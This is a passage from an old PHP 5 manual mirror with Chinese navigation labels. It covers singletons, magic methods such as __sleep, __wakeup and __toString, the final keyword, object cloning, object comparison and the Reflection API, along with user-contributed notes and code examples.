       return parent::singleton(__CLASS__); // NOTE The singleton method MUST return an instance.
   }
   public function TellMeMore()
   {
       echo 'You are over here.';
   }
}

$subclassInstance = SubClass::singleton();
$subclassInstance->TellMe();

$subclass2Instance = SubClass2::singleton();
$subclass2Instance->TellMe();
?>

results in ...

I am constructedYou are in here.You are in here.

and NOT

I am constructedYou are in here.You are over here.

as you might have thought.

Basically, subclassing and singletons don't really mix.
scottmattocks at php dot net
07-Apr-2005 12:40
In respone to JimmyPaterson:

Since the singleton method isn't declared final, you can override it in the children classes. First you have to change the singleton class a little to accept a classname parameter.

class Singleton
{
   // Hold an instance of the class
   private static $instance;

   // A private constructor; prevents direct creation of object
   private function __construct()
   {
       echo 'I am constructed';
   }

   // The singleton method
   public static function singleton($classname)
   {
       if (!isset(self::$instance)) {
           self::$instance = new $classname;
       }

       return self::$instance;
   }
}

class SubClass extends Singleton {
   public static function singleton()
   {
       parent::singleton(__CLASS__);
   }
}

$singletonInstance = SubClass::singleton();
JimmyPaterson at gmx dot de
22-Mar-2005 09:55
Since the `__CLASS__` constant is used, the Singleton pattern won't work as a Base Class which you would want to implement into your classes.
Thus the following will _not_ work:
<?php

class Singleton
{
   private static $_instance;

   final private function __construct() { }
   public static function getSingleton()
   {
     if(!isset(self::$_instance))
     {
         $tmpName    = __CLASS__;
         self::$_instance = new $tmpName;
     }
     return self::$_instance;
   }

   public function NameSingletonClass()
   {
     echo __CLASS__;
   }
   public function __clone() { }
}

class MyClass extends Singleton
{
   public function NameMyClass()
   {
     echo __CLASS__;
   }
}

$instance = MyClass::getSingleton();
$instance->NameSingletonClass();
// you'll get a nice `Call to undefined method Songleton::NameMyClass()` Error
$instance->NameMyClass();

?>
Kind of stupid if one has to write a Singleton-Pattern for each Class... or did I miss something?
add a note add a note

后退 | 起点 | 前进
Object Iteration | 上一级 | Magic Methods


Magic Methods

The function names __construct, __destruct (see Constructors and Destructors), __call, __get, __set, __isset, __unset (see Overloading), __sleep, __wakeup, __toString, __clone and __autoload are magical in PHP classes. You cannot have functions with these names in any of your classes unless you want the magic functionality associated with them.

注意

PHP reserves all function names starting with __ as magical. It is recommended that you do not use function names with __ in PHP unless you want some documented magic functionality.

__sleep and __wakeup

serialize() checks if your class has a function with the magic name __sleep. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized.

The intended use of __sleep is to close any database connections that the object may have, commit pending data or perform similar cleanup tasks. Also, the function is useful if you have very large objects which do not need to be saved completely.

Conversely, unserialize() checks for the presence of a function with the magic name __wakeup. If present, this function can reconstruct any resources that the object may have.

The intended use of __wakeup is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.

__toString

The __toString method allows a class to decide how it will react when it is converted to a string.

例子 19-25. Simple example

<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo) {
        $this->foo = $foo;
    }

    public function __toString() {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>

上例将输出：

Hello

It is worth noting that the __toString method will only be called when it is directly combined with echo() or print().

例子 19-26. Cases where __toString is called

<?php
// __toString called
echo $class;

// __toString called (still a normal parameter for echo)
echo 'text', $class;

// __toString not called (concatenation operator used first)
echo 'text' . $class;

// __toString not called (cast to string first)
echo (string) $class;

// __toString not called (cast to string first)
echo "text $class";
?>

add a note add a note User Contributed Notes
taylorbarstow at google's mail service
16-May-2006 04:54
I've just come accross something interesting relating to storing PHP5 objects in a session.  If you don't provide an __autoload(), then you MUST load the class definition before calling session_start().  I guess that when you call session_start(), any objects in the session are unserialized then and there and placed into $_SESSION.  If you don't provide the class definition before calling session_start(), your object will get the class __PHP_Incomplete_Class, and you won't be able to use it for anything.

Examples:

<?php
session_start();
require_once 'MyClass.php';
$obj = new MyClass;
$_SESSION['obj'] = $obj;
?>

Works fine.  Then on a subsequent page load:

<?php
session_start();
require_once 'MyClass.php';
$_SESSION['obj']->callSomeMethod();
?>

Fatal error:  The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition.

But if you do this instead, it works fine:

<?php
require_once 'MyClass.php';
session_start();
$_SESSION['obj']->callSomeMethod();
?>

Hopefully in some future release of PHP, __PHP_Incomplete_Class will be smart enough to check for a class definition at time of use (method call or property operation), and, if the class exists, magically "complete" itself and turn into the desired object.
rayRO
03-Apr-2006 12:55
If you use the Magical Method '__set()', be shure that the call of
<?php
$myobject->test['myarray'] = 'data';
?>
will not appear!

For that u have to do it the fine way if you want to use __set Method ;)
<?php
$myobject->test = array('myarray' => 'data');
?>

If a Variable is already set, the __set Magic Method already wont appear!

My first solution was to use a Caller Class.
With that, i ever knew which Module i currently use!
But who needs it... :]
There are quiet better solutions for this...
Here's the Code:

<?php
class Caller {
   public $caller;
   public $module;

   function __call($funcname, $args = array()) {
       $this->setModuleInformation();

       if (is_object($this->caller) && function_exists('call_user_func_array'))
           $return = call_user_func_array(array(&$this->caller, $funcname), $args);
       else
           trigger_error("Call to Function with call_user_func_array failed", E_USER_ERROR);

       $this->unsetModuleInformation();
       return $return;
   }

   function __construct($callerClassName = false, $callerModuleName = 'Webboard') {
       if ($callerClassName == false)
           trigger_error('No Classname', E_USER_ERROR);

       $this->module = $callerModuleName;

       if (class_exists($callerClassName))
           $this->caller = new $callerClassName();
       else
           trigger_error('Class not exists: \''.$callerClassName.'\'', E_USER_ERROR);

       if (is_object($this->caller))
       {
           $this->setModuleInformation();
           if (method_exists($this->caller, '__init'))
               $this->caller->__init();
           $this->unsetModuleInformation();
       }
       else
           trigger_error('Caller is no object!', E_USER_ERROR);
   }

   function __destruct() {
       $this->setModuleInformation();
       if (method_exists($this->caller, '__deinit'))
           $this->caller->__deinit();
       $this->unsetModuleInformation();
   }

   function __isset($isset) {
       $this->setModuleInformation();
       if (is_object($this->caller))
           $return = isset($this->caller->{$isset});
       else
           trigger_error('Caller is no object!', E_USER_ERROR);
       $this->unsetModuleInformation();
       return $return;
   }

   function __unset($unset) {
       $this->setModuleInformation();
       if (is_object($this->caller)) {
           if (isset($this->caller->{$unset}))
               unset($this->caller->{$unset});
       }
       else
           trigger_error('Caller is no object!', E_USER_ERROR);
       $this->unsetModuleInformation();
   }

   function __set($set, $val) {
       $this->setModuleInformation();
       if (is_object($this->caller))
           $this->caller->{$set} = $val;
       else
           trigger_error('Caller is no object!', E_USER_ERROR);
       $this->unsetModuleInformation();
   }

   function __get($get) {
       $this->setModuleInformation();
       if (is_object($this->caller)) {
           if (isset($this->caller->{$get}))
               $return = $this->caller->{$get};
           else
               $return = false;
       }
       else
           trigger_error('Caller is no object!', E_USER_ERROR);
       $this->unsetModuleInformation();
       return $return;
   }

   function setModuleInformation() {
       $this->caller->module = $this->module;
   }

   function unsetModuleInformation() {
       $this->caller->module = NULL;
   }
}

// Well this can be a Config Class?
class Config {
   public $module;

   public $test;

   function __construct()
   {
       print('Constructor will have no Module Information... Use __init() instead!<br />');
       print('--> '.print_r($this->module, 1).' <--');
       print('<br />');
       print('<br />');
       $this->test = '123';
   }

   function __init()
   {
       print('Using of __init()!<br />');
       print('--> '.print_r($this->module, 1).' <--');
       print('<br />');
       print('<br />');
   }

   function testFunction($test = false)
   {
       if ($test != false)
           $this->test = $test;
   }
}

echo('<pre>');
$wow = new Caller('Config', 'Guestbook');
print_r($wow->test);
print('<br />');
print('<br />');
$wow->test = '456';
print_r($wow->test);
print('<br />');
print('<br />');
$wow->testFunction('789');
print_r($wow->test);
print('<br />');
print('<br />');
print_r($wow->module);
echo('</pre>');
?>

Outputs something Like:

Constructor will have no Module Information... Use __init() instead!
-->  <--

Using of __init()!
--> Guestbook <--

123

456

789

Guestbook
ksamvel at gmail dot com
11-Feb-2006 01:29
To copy base part of derived class appropriate method in base should be defined. E.g.:

  class A {
   public function setAVar( $oAVar) { $this->oAVar = $oAVar; }
   public function getAVar() { return $this->oAVar; }

   public function copyA( &$roDest) {
     if( $roDest instanceof A)
       $this->oAVar = $roDest->oAVar;
   }

   private $oAVar;
  }

  class B extends A {
   public function setBVar( $oBVar) { $this->oBVar = $oBVar; }
   public function getBVar() { return $this->oBVar; }

   private $oBVar;
  }

  $oA = new A();
  $oB = new B();

  $oA->setAVar( 4);

  $oB->setAVar( 5);
  $oB->setBVar( 6);
  echo "oA::oAVar " . $oA->getAVar() . "<br>";
  echo "oB::oAVar " . $oB->getAVar() . "<br>";
  echo "oB::oBVar " . $oB->getBVar() . "<br>";
  echo "<br>";

  $oB->copyA( $oA);

  echo "oA::oAVar " . $oA->getAVar() . "<br>";
  echo "oB::oAVar " . $oB->getAVar() . "<br>";
  echo "oB::oBVar " . $oB->getBVar() . "<br>";

Output:

oA::oAVar 4
oB::oAVar 5
oB::oBVar 6

oA::oAVar 4
oB::oAVar 4
oB::oBVar 6
b dot schoppmeier at bas-consult dot de
26-Jan-2006 07:18
The sequence of events regarding __sleep and __destruct is unusual __ as __destruct is called before __sleep. The following code snippet:

<?php
$sequence = 0;
class foo {
   public $stuff;
   public function __construct($param) {
       global $sequence;
       echo "Seq: ", $sequence++, " - constructor\n";
       $this->stuff = $param;
   }
   public function __destruct() {
       global $sequence;
       echo "Seq: ", $sequence++, " - destructor\n";
   }
   public function __sleep() {
       global $sequence;
       echo "Seq: ", $sequence++, " - __sleep\n";
       return array("stuff");
   }
   public function __wakeup() {
       global $sequence;
       echo "Seq: ", $sequence++, " - __wakeup\n";
   }
}
session_start();
$_SESSION["obj"] = new foo("A foo");
?>

yields the output:

Seq: 0 - constructor
Seq: 1 - destructor
Seq: 2 - __sleep

Only when you end your script with a call to session_write_close() as in:

<?php
$sequence = 0;
class foo {
   public $stuff;
   public function __construct($param) {
       global $sequence;
       echo "Seq: ", $sequence++, " - constructor\n";
       $this->stuff = $param;
   }
   public function __destruct() {
       global $sequence;
       echo "Seq: ", $sequence++, " - destructor\n";
   }
   public function __sleep() {
       global $sequence;
       echo "Seq: ", $sequence++, " - __sleep\n";
       return array("stuff");
   }
   public function __wakeup() {
       global $sequence;
       echo "Seq: ", $sequence++, " - __wakeup\n";
   }
}
session_start();
$_SESSION["obj"] = new foo("A foo");
session_write_close();
?>

the sequence is as common sense would expect it to be as the following output shows:

Seq: 0 - constructor
Seq: 1 - __sleep
Seq: 2 - destructor
docey
10-Dec-2005 12:44
about __sleep and _wakeup, consider using a method like this:

class core
{

 var $sub_core; //ref of subcore
 var $_sleep_subcore; // place where serialize version of sub_core will be stored

 function core(){
  $this->sub_core = new sub_core();
  return true;
 }

 function __wakeup()
 {
  // on wakeup of core, core unserializes sub_core
  // wich it had stored when it was serialized itself
  $this->sub_core = unserialize($this->_sleep_subcore);
  return true;
 }

 function __sleep()
 {
  // sub_core will be serialized when core is serialized.
  // the serialized subcore will be stored as a string inside core.
   $this->_sleep_subcore = serialize($this->sub_core);
   $return_arr[] = "_sleep_subcore";
   return $return_arr;
 }

}

class sub_core
{
 var $info;

 function sub_core()
 {
  $this->info["somedata"] = "somedata overhere"
 }

 function __wakeup()
 {
  return true;
 }

 function __sleep()
 {
  $return_arr[] = "info"
  return $return_arr;
 }

}

this way subcore is being serialized by core when core is being serialized. subcore handles its own data and core stores it as a serialize string inside itself. on wakeup core unserializes subcore.

this may have a performance cost, but if you have many objects connected this way this is the best way of serializing them. you only need to serialize the the main object wich will serialize all those below which will serialize all those below them again. in effect causing a sort of chainreaction in wich each object takes care of its own info.

offcoarse you always need to store the eventualy serialized string in a safe place. somebody got experience with this way of __wakeup and __sleep.

works in PHP4&5
martin dot goldinger at netserver dot ch
15-Aug-2005 07:47
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
   function __sleep()
   {
       $vars = (array)$this;
       foreach ($vars as $key => $val)
       {
           if (is_null($val))
           {
               unset($vars[$key]);
           }
       }
       return array_keys($vars);
   }
};
?>
jeffxlevy at gmail dot com
14-Aug-2005 09:26
Intriguing what happens when __sleep() and __wakeup() and sessions() are mixed. I had a hunch that, as session data is serialized, __sleep would be called when an object, or whatever, is stored in _SESSION. true. The same hunch applied when session_start() was called. Would __wakeup() be called? True. Very helpful, specifically as I'm building massive objects (well, lots of simple objects stored in sessions), and need lots of automated tasks (potentially) reloaded at "wakeup" time. (for instance, restarting a database session/connection).
mastabog at hotmail dot com
13-Aug-2005 08:06
In reply to krisj1010 at gmail.com below:

__sleep() handles protected/private properties very well. You should never rely on get_class_vars() to retrieve property names since this function only returns the public properties. Use the Reflection API instead for that purpose. Better yet, if you know which ones you want to save it is always faster to specify the return array manually.
Domenic Denicola
23-Jun-2005 11:52
This small sentence tripped me up for a half an hour:

"It is worth noting that the __toString method will only be called when it is directly combined with echo() or print()."

So code like this will _not_ work, even though you might think it would:

<?

//$x is some variable with a __toString method defined.
$y = "x's value is: " . $x;
$y = "x's value is: " . (string)$x;

?>

In _em_ both situations, $y will contain "x's value is: Object id #42" (or whatever object ID). So, the only recourse I guess is this:

<?

$y = "x's value is: " . $x->__toString();

?>
elias
12-Apr-2005 12:48
The default toString output is very useful for visual debuggin
because it shows the object id.
There is no function to resolve the id directly(?), but you
can do this:

<?php
function __toString()
{
   sscanf((string)$this, "Object id #%d", $id);
   return "Object(Template) id #$id";
}
?>

HTH,
elias
Gedoon-S
08-Apr-2005 02:26
I just thought it was worth mentioning that __toString works also with <?= $class ?>. It calls __toString and echoes what was returned just like <?php echo $class; ?> does, but it's shorter.
ddavenport at newagedigital dot com
27-Jan-2005 03:09
One of the principles of OOP is encapsulation--the idea that an object should handle its own data and no others'.  Asking base classes to take care of subclasses' data, esp considering that a class can't possibly know how many dozens of ways it will be extended, is irresponsible and dangerous.

Consider the following...

<?php
class SomeStupidStorageClass
{
  public function getContents($pos, $len) { ...stuff... }
}

class CryptedStorageClass extends SomeStupidStorageClass
{
  private $decrypted_block;
  public function getContents($pos, $len) { ...decrypt... }
}
?>

If SomeStupidStorageClass decided to serialize its subclasses' data as well as its own, a portion of what was once an encrypted thingie could be stored, in the clear, wherever the thingie was stored.  Obviously, CryptedStorageClass would never have chosen this...but it had to either know how to serialize its parent class's data without calling parent::_sleep(), or let the base class do what it wanted to.

Considering encapsulation again, no class should have to know how the parent handles its own private data.  And it certainly shouldn't have to worry that users will find a way to break access controls in the name of convenience.

If a class wants both to have private/protected data and to survive serialization, it should have its own __sleep() method which asks the parent to report its own fields and then adds to the list if applicable.  Like so....

<?php

class BetterClass
{
  private $content;

  public function __sleep()
  {
   return array('basedata1', 'basedata2');
  }

  public function getContents() { ...stuff... }
}

class BetterDerivedClass extends BetterClass
{
  private $decrypted_block;

  public function __sleep()
  {
   return parent::__sleep();
  }

  public function getContents() { ...decrypt... }
}

?>

The derived class has better control over its data, and we don't have to worry about something being stored that shouldn't be.
krisj1010 at gmail.com
09-Jan-2005 04:09
If you are attempting to write an abstract/base class which automates the __sleep process in PHP5 you will run into some trouble if the subclasses which are being serialized have private/protected variables you need to be serialized.

The reason is, even though get_class($this) within the base class will return the subclass -- get_class_vars(get_class($this)) will *not* return the subclass' protected/private variables.  Which makes sense -- using OO principles.

However, when automating __sleep it becomes necissary to have access to the private/protected subclass variables because their names have to be returned by __sleep.

So here is the work around:
<?php
public function __sleep()
{
 ... code ...
$sleepVars    = array_keys((array)$this);
return $sleepVars;
}
?>

Even though array_keys includes more information about the variable names than just the variable names -- it still seems to work appropriately.
add a note add a note

后退 | 起点 | 前进
Patterns | 上一级 | Final Keyword


Final Keyword

PHP 5 introduces the final keyword, which prevents child classes from overriding a method by prefixing the definition with final. If the class itself is being defined final then it cannot be extended.

例子 19-27. Final methods example

<?php
class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
   public function moreTesting() {
       echo "ChildClass::moreTesting() called\n";
   }
}
// Results in Fatal error: Cannot override final method BaseClass::moreTesting()
?>

例子 19-28. Final class example

<?php
final class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   // Here it doesn't matter if you specify the function as final or not
   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
}
// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass)
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Magic Methods | 上一级 | Object cloning


Object cloning

Creating a copy of an object with fully replicated properties is not always the wanted behavior. A good example of the need for copy constructors, is if you have an object which represents a GTK window and the object holds the resource of this GTK window, when you create a duplicate you might want to create a new window with the same properties and have the new object hold the resource of the new window. Another example is if your object holds a reference to another object which it uses and when you replicate the parent object you want to create a new instance of this other object so that the replica has its own separate copy.

An object copy is created by using the clone keyword (which calls the object's __clone() method if possible). An object's __clone() method cannot be called directly.

$copy_of_object = clone $object;

When an object is cloned, PHP 5 will perform a shallow copy of all of the object's properties. Any properties that are references to other variables, will remain references. If a __clone() method is defined, then the newly created object's __clone() method will be called, to allow any necessary properties that need to be changed.

例子 19-29. Cloning an object

<?php
class SubObject
{
    static $instances = 0;
    public $instance;

    public function __construct() {
        $this->instance = ++self::$instances;
    }

    public function __clone() {
        $this->instance = ++self::$instances;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // Force a copy of this->object, otherwise
        // it will point to same object.
        $this->object1 = clone($this->object1);
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Original Object:\n");
print_r($obj);

print("Cloned Object:\n");
print_r($obj2);

?>

上例将输出：

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 1
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)
Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 3
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)

add a note add a note User Contributed Notes
olle dot remove_this dot suni at rdnsoftware dot com
16-May-2006 07:49
As jorge dot villalobos at gmail dot com pointed out, the "__clone is NOT an override".

However, if one needs a true copy of an object (which has real copies of all subobjects too, not references), one can define a class method such as this to the object-to-be-cloned:

public function copy()
{
   $serialized_contents = serialize($this);
   return unserialize($serialized_contents);
}

The method makes a string representation of the object's contents (including subobjects), which can then be unserialized back to an object.

The method usage is simple:

$original_object = new MyCloneable(); //can have sub objects
$copied_object = $original_object->clone(); //only makes copies of the values, not references

With serialization, you surely don't have to worry about references, since serialized object is just simple text.
ove at junne dot dk
09-Feb-2006 12:02
Consider this:

function myfunc()
{
   $A = new myobject(); // Create another mysql connection
   $A->method1();        // Runs a query (works)
}

$A = new myobject(); // Create a mysql connection
myfunc();
$A->method1();  // This query fails! Possible because leaving the function has closed the connection.

Conclusion: Declaration of objects within and outside a function WITH THE SAME NAME, will affect each other. Do not relay on the rules of scope.

Take care when using recursive structures!!

It took me a long time to figure out.
markus dot amsler at oribi dot org
20-Jun-2005 09:14
For php4 you can use the clone method from the PEAR PHP_Compat package (http://pear.php.net/package/PHP_Compat).
jorge dot villalobos at gmail dot com
31-Mar-2005 07:29
I think it's relevant to note that __clone is NOT an override. As the example shows, the normal cloning process always occurs, and it's the responsibility of the __clone method to "mend" any "wrong" action performed by it.
add a note add a note

后退 | 起点 | 前进
Final Keyword | 上一级 | Comparing objects


Comparing objects

In PHP 5, object comparison is more complicated than in PHP 4 and more in accordance to what one will expect from an Object Oriented Language (not that PHP 5 is such a language).

When using the comparison operator (==), object variables are compared in a simple manner, namely: Two object instances are equal if they have the same attributes and values, and are instances of the same class.

On the other hand, when using the identity operator (===), object variables are identical if and only if they refer to the same instance of the same class.

An example will clarify these rules.

例子 19-30. Example of object comparison in PHP 5

<?php
function bool2str($bool)
{
    if ($bool === false) {
        return 'FALSE';
    } else {
        return 'TRUE';
    }
}

function compareObjects(&$o1, &$o2)
{
    echo 'o1 == o2 : ' . bool2str($o1 == $o2) . "\n";
    echo 'o1 != o2 : ' . bool2str($o1 != $o2) . "\n";
    echo 'o1 === o2 : ' . bool2str($o1 === $o2) . "\n";
    echo 'o1 !== o2 : ' . bool2str($o1 !== $o2) . "\n";
}

class Flag
{
    public $flag;

    function Flag($flag = true) {
        $this->flag = $flag;
    }
}

class OtherFlag
{
    public $flag;

    function OtherFlag($flag = true) {
        $this->flag = $flag;
    }
}

$o = new Flag();
$p = new Flag();
$q = $o;
$r = new OtherFlag();

echo "Two instances of the same class\n";
compareObjects($o, $p);

echo "\nTwo references to the same instance\n";
compareObjects($o, $q);

echo "\nInstances of two different classes\n";
compareObjects($o, $r);
?>

上例将输出：

Two instances of the same class
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Two references to the same instance
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

Instances of two different classes
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Object cloning | 上一级 | Reflection


Reflection

Introduction

PHP 5 comes with a complete reflection API that adds the ability to reverse-engineer classes, interfaces, functions and methods as well as extensions. Additionally, the reflection API also offers ways of retrieving doc comments for functions, classes and methods.

The reflection API is an object-oriented extension to the Zend Engine, consisting of the following classes:

<?php
class Reflection { }
interface Reflector { }
class ReflectionException extends Exception { }
class ReflectionFunction implements Reflector { }
class ReflectionParameter implements Reflector { }
class ReflectionMethod extends ReflectionFunction { }
class ReflectionClass implements Reflector { }
class ReflectionObject extends ReflectionClass { }
class ReflectionProperty implements Reflector { }
class ReflectionExtension implements Reflector { }
?>

注: For details on these classes, have a look at the next chapters.

If we were to execute the code in the example below:

例子 19-31. Basic usage of the reflection API

<?php
Reflection::export(new ReflectionClass('Exception'));
?>

上例将输出：

Class [ <internal> class Exception ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [6] {
    Property [ <default> protected $message ]
    Property [ <default> private $string ]
    Property [ <default> protected $code ]
    Property [ <default> protected $file ]
    Property [ <default> protected $line ]
    Property [ <default> private $trace ]
  }

  - Methods [9] {
    Method [ <internal> final private method __clone ] {
    }

    Method [ <internal> <ctor> public method __construct ] {

      - Parameters [2] {
        Parameter #0 [ <required> $message ]
        Parameter #1 [ <required> $code ]
      }
    }

    Method [ <internal> final public method getMessage ] {
    }

    Method [ <internal> final public method getCode ] {
    }

    Method [ <internal> final public method getFile ] {
    }

    Method [ <internal> final public method getLine ] {
    }

    Method [ <internal> final public method getTrace ] {
    }

    Method [ <internal> final public method getTraceAsString ] {
    }

    Method [ <internal> public method __toString ] {
    }
  }
}

ReflectionException

ReflectionException extends the standard Exception and is thrown by Reflection API. No specific methods or properties are introduced.

ReflectionFunction

The ReflectionFunction class lets you reverse-engineer functions.

<?php
class ReflectionFunction implements Reflector
{
    final private __clone()
    public object __construct(string name)
    public string __toString()
    public static string export()
    public string getName()
    public bool isInternal()
    public bool isUserDefined()
    public string getFileName()
    public int getStartLine()
    public int getEndLine()
    public string getDocComment()
    public array getStaticVariables()
    public mixed invoke(mixed* args)
    public mixed invokeArgs(array args)
    public bool returnsReference()
    public ReflectionParameter[] getParameters()
    public int getNumberOfParameters()
    public int getNumberOfRequiredParameters()
}
?>

注: getNumberOfParameters() and getNumberOfRequiredParameters() were added in PHP 5.0.3, while invokeArgs() was added in PHP 5.1.0.

To introspect a function, you will first have to create an instance of the ReflectionFunction class. You can then call any of the above methods on this instance.

例子 19-32. Using the ReflectionFunction class

<?php
/**
* A simple counter
*
* @return    int
*/
function counter()
{
    static $c = 0;
    return $c++;
}

// Create an instance of the Reflection_Function class
$func = new ReflectionFunction('counter');

// Print out basic information
printf(
    "===> The %s function '%s'\n".
    "     declared in %s\n".
    "     lines %d to %d\n",
    $func->isInternal() ? 'internal' : 'user-defined',
    $func->getName(),
    $func->getFileName(),
    $func->getStartLine(),
    $func->getEndline()
);

// Print documentation comment
printf("---> Documentation:\n %s\n", var_export($func->getDocComment(), 1));

// Print static variables if existant
if ($statics = $func->getStaticVariables())
{
    printf("---> Static variables: %s\n", var_export($statics, 1));
}

// Invoke the function
printf("---> Invokation results in: ");
var_dump($func->invoke());

// you may prefer to use the export() method
echo "\nReflectionFunction::export() results:\n";
echo ReflectionFunction::export('counter');
?>

注: The method invoke() accepts a variable number of arguments which are passed to the function just as in call_user_func().

ReflectionParameter

The ReflectionParameter class retrieves information about a function's or method's parameters.

<?php
class ReflectionParameter implements Reflector
{
    final private __clone()
    public object __construct(string name)
    public string __toString()
    public static string export()
    public string getName()
    public bool isPassedByReference()
    public ReflectionClass getClass()
    public bool isArray()
    public bool allowsNull()
    public bool isOptional()
    public bool isDefaultValueAvailable()
    public mixed getDefaultValue()
}
?>

注:
     getDefaultValue(),
     isDefaultValueAvailable() and
     isOptional() were added in PHP 5.0.3,
     while isArray() was added in PHP 5.1.0.

To introspect function parameters, you will first have to create an instance of the ReflectionFunction or ReflectionMethod classes and then use their getParameters() method to retrieve an array of parameters.

例子 19-33. Using the ReflectionParameter class

<?php
function foo($a, $b, $c) { }
function bar(Exception $a, &$b, $c) { }
function baz(ReflectionFunction $a, $b = 1, $c = null) { }
function abc() { }

// Create an instance of Reflection_Function with the
// parameter given from the command line.
$reflect = new ReflectionFunction($argv[1]);

echo $reflect;

foreach ($reflect->getParameters() as $i => $param) {
    printf(
        "-- Parameter #%d: %s {\n".
        "   Class: %s\n".
        "   Allows NULL: %s\n".
        "   Passed to by reference: %s\n".
        "   Is optional?: %s\n".
        "}\n",
        $i,
        $param->getName(),
        var_export($param->getClass(), 1),
        var_export($param->allowsNull(), 1),
        var_export($param->isPassedByReference(), 1),
        $param->isOptional() ? 'yes' : 'no'
    );
}
?>

ReflectionClass

The ReflectionClass class lets you reverse-engineer classes.

<?php
class ReflectionClass implements Reflector
{
    final private __clone()
    public object __construct(string name)
    public string __toString()
    public static string export()
    public string getName()
    public bool isInternal()
    public bool isUserDefined()
    public bool isInstantiable()
    public bool hasConstant(string name)
    public bool hasMethod(string name)
    public bool hasProperty(string name)
    public string getFileName()
    public int getStartLine()
    public int getEndLine()
    public string getDocComment()
    public ReflectionMethod getConstructor()
    public ReflectionMethod getMethod(string name)
    public ReflectionMethod[] getMethods()
    public ReflectionProperty getProperty(string name)
    public ReflectionProperty[] getProperties()
    public array getConstants()
    public mixed getConstant(string name)
    public ReflectionClass[] getInterfaces()
    public bool isInterface()
    public bool isAbstract()
    public bool isFinal()
    public int getModifiers()
    public bool isInstance(stdclass object)
    public stdclass newInstance(mixed* args)
    public ReflectionClass getParentClass()
    public bool isSubclassOf(ReflectionClass class)
    public array getStaticProperties()
    public mixed getStaticPropertyValue(string name [, mixed default])
    public void setStaticPropertyValue(string name, mixed value)
    public array getDefaultProperties()
    public bool isIterateable()
    public bool implementsInterface(string name)
    public ReflectionExtension getExtension()
    public string getExtensionName()
}
?>

注: hasConstant(), hasMethod(), hasProperty(), getStaticPropertyValue() and setStaticPropertyValue() were added in PHP 5.1.0.

To introspect a class, you will first have to create an instance of the ReflectionClass class. You can then call any of the above methods on this instance.

例子 19-34. Using the ReflectionClass class

<?php
interface Serializable
{
    // ...
}

class Object
{
    // ...
}

/**
* A counter class
*/
class Counter extends Object implements Serializable
{
    const START = 0;
    private static $c = Counter::START;

    /**
     * Invoke counter
     *
     * @access  public
     * @return  int
     */
    public function count() {
        return self::$c++;
    }
}

// Create an instance of the ReflectionClass class
$class = new ReflectionClass('Counter');

// Print out basic information
printf(
    "===> The %s%s%s %s '%s' [extends %s]\n" .
    "     declared in %s\n" .
    "     lines %d to %d\n" .
    "     having the modifiers %d [%s]\n",
        $class->isInternal() ? 'internal' : 'user-defined',
        $class->isAbstract() ? ' abstract' : '',
        $class->isFinal() ? ' final' : '',
        $class->isInterface() ? 'interface' : 'class',
        $class->getName(),
        var_export($class->getParentClass(), 1),
        $class->getFileName(),
        $class->getStartLine(),
        $class->getEndline(),
        $class->getModifiers(),
        implode(' ', Reflection::getModifierNames($class->getModifiers()))
);

// Print documentation comment
printf("---> Documentation:\n %s\n", var_export($class->getDocComment(), 1));

// Print which interfaces are implemented by this class
printf("---> Implements:\n %s\n", var_export($class->getInterfaces(), 1));

// Print class constants
printf("---> Constants: %s\n", var_export($class->getConstants(), 1));

// Print class properties
printf("---> Properties: %s\n", var_export($class->getProperties(), 1));

// Print class methods
printf("---> Methods: %s\n", var_export($class->getMethods(), 1));

// If this class is instantiable, create an instance
if ($class->isInstantiable()) {
    $counter = $class->newInstance();

    echo '---> $counter is instance? ';
    echo $class->isInstance($counter) ? 'yes' : 'no';

    echo "\n---> new Object() is instance? ";
    echo $class->isInstance(new Object()) ? 'yes' : 'no';
}
?>

注: The method newInstance() accepts a variable number of arguments which are passed to the function just as in call_user_func().

注: $class = new ReflectionClass('Foo'); $class->isInstance($arg) is equivalent to $arg instanceof Foo or is_a($arg, 'Foo').

ReflectionMethod

The ReflectionMethod class lets you reverse-engineer class methods.

<?php
class ReflectionMethod extends ReflectionFunction
{
    public __construct(mixed class, string name)
    public string __toString()
    public static string export()
    public mixed invoke(stdclass object, mixed* args)
    public mixed invokeArgs(stdclass object, array args)
    public bool isFinal()
    public bool isAbstract()
    public bool isPublic()
    public bool isPrivate()
    public bool isProtected()
    public bool isStatic()
    public bool isConstructor()
    public bool isDestructor()
    public int getModifiers()
    public ReflectionClass getDeclaringClass()

    // Inherited from ReflectionFunction
    final private __clone()
    public string getName()
    public bool isInternal()
    public bool isUserDefined()
    public string getFileName()
    public int getStartLine()
    public int getEndLine()
    public string getDocComment()
